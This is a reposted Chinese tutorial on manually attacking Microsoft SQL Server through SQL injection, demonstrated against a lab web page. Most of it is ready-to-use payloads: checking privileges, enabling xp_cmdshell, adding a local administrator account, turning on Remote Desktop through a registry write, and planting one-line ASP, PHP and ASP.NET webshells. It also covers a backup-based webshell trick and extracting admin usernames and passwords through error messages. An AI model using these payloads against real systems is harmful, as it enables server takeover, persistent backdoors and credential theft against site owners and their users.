脚本宝典收集整理的这篇文章主要介绍了MsSQl数据库手动注入攻击,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
mssql又叫SQLserver数据库,是微软旗下的一款数据库产品,一般aspx和.net搭建的网站一般用的都是SQLserver数据库,公司的oa系统喜欢用这个SQLserver做后台数据库
SQLserver数据库中有三种权限
mssql数据库下默认会有一张sysobjects,可以根据sql语句是否报错判断当前数据库的类型
and exists(select * from sysobjects)
没有报错说明是mssql数据库
and system_user>0
http://192.168.18.215:86/sqlserver/1.aspx?xxser=1%20and%20system_user>0
当前系统用户名为NT AUTHORITYNETWORK SERVICE
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
没有报错,说明具有sa权限
在SQLserver2000版本以前,默认都是存在的,但是在2000版本以后默认都是禁用的
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
页面返回正常说明xp_cmdshell是启用的,如果xp_cmdshell没有启用,可以用下面的语句启用
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
;exec master..xp_cmdshell 'net user test test /add'
将添加的用户放到管理员组
;exec master..xp_cmdshell 'net localgroup administrators test /add'
如果你的SQLserver环境搭建没有启用xp_cmdshell,你可以在SQLserver中输入以下语句
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
参考博客 : https://www.cnblogs.com/atree/p/SQL_SERVER_xp_cmdshell.html
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;
然后你运行窗口就可以输入mstsc
回车,输入对方电脑的ip,用刚才创建的账号和密码进行远程桌面的链接
and 1=(SELECT IS_MEMBER('db_owner'));--
没有报错说明当前具有db_owner权限
db_owner权限默认是无法执行操作系统命令,首先你要找出网站路径这一步非常重要,常用方法有用单引号报错
一个一个的尝试,目录扫描器扫,谷歌百度fofa爆历史物理网站路径
单引号报错
这里报错信息没有完全的物理路径,但是有的网站可能会有
通过相关的语句
# 在当前库下面创建一个表;create Table black(result varchar(7996) null, id int not null identity (1,1))--
;insert into black exec master..xp_cmdshell 'dir /s c:1.aspx'--and (select result from black where id=1)>0--
通过反复调id的值,来获取最终的路径
手动版
如果你权限够高的话,可以使用xp_cmdshell直接写入一句话木马
%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20你获得的路径muma.asp'--%20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:wwwtestiis-xxser.com--wwwrootsqlservermuma.asp'--
从网站的目录中可以看到一句话木马已经上传到网站上,通过菜刀工具就可以直接连接了,获取webshell
还有一种方法就是通过差异备份获取webshell,唯一一点要注意的就是要把一句话木马转换成16进制,在线网站
可以转换,也可以通过小葵这种工具转换
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:wwwtestiis-xxser.com--wwwrootyjh.asp';alter database testdb set RECOVERY simple
工具版
使用注入检测中的getwebshell增强版
一句话木马,在webshell中国菜刀(最新过狗的版本中)下面的readme.txt中
PHP: <?php @eval($_POST['chopper']);?>ASP: <%eval request("chopper")%>ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
菜刀,蚁剑,冰蝎这些工具都可以这里以菜刀做演示,不知道为什么没有成功
and db_name()=0--
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
这里没有成功,可能是环境的问题或者是语句的问题
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
不知道为什么没有爆出来表名
having 1=1--
爆出是admin表下的id字段
group by admin.id having 1=1--
爆出admin下的另一个字段admin.name
group by admin.id,admin.name having 1=1--
爆出admin下的另一个字段admin.password,如果还有字段想要爆出,就在group by后面继续拼接字段
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
以上是脚本宝典为你收集整理的MsSQl数据库手动注入攻击全部内容,希望文章能够帮你解决MsSQl数据库手动注入攻击所遇到的问题。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。